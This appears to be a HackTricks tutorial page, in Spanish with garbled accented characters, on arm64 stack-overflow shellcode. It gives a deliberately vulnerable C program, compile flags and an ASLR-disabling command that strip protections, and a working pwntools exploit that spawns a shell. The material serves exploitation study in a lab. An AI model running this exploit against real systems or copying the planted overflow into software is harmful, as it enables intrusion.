Stack Shellcode - arm64

Reading time: 3 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Encuentra una introducci贸n a arm64 en:

Introduction to ARM64v8

Linux

Code

c
#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compilar sin pie, canary y nx:

bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

Sin ASLR y sin canary - Stack Overflow

Para desactivar ASLR ejecuta:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Para obtener el offset of the bof check this link.

Exploit:

python
from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

La 煤nica cosa "complicada" de encontrar aqu铆 ser铆a la direcci贸n en el stack a la que llamar. En mi caso gener茅 el exploit con la direcci贸n encontrada usando gdb, pero luego al usar el exploit no funcion贸 (porque la direcci贸n del stack cambi贸 un poco).

Abr铆 el generado core archivo (gdb ./bog ./core) y comprob茅 la direcci贸n real del inicio del shellcode.

macOS

tip

No es posible desactivar NX en macOS porque en arm64 este modo est谩 implementado a nivel de hardware, por lo que no puedes desactivarlo, as铆 que no encontrar谩s ejemplos con shellcode en stack en macOS.

Revisa un ejemplo macOS ret2win en:

Ret2win - arm64

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks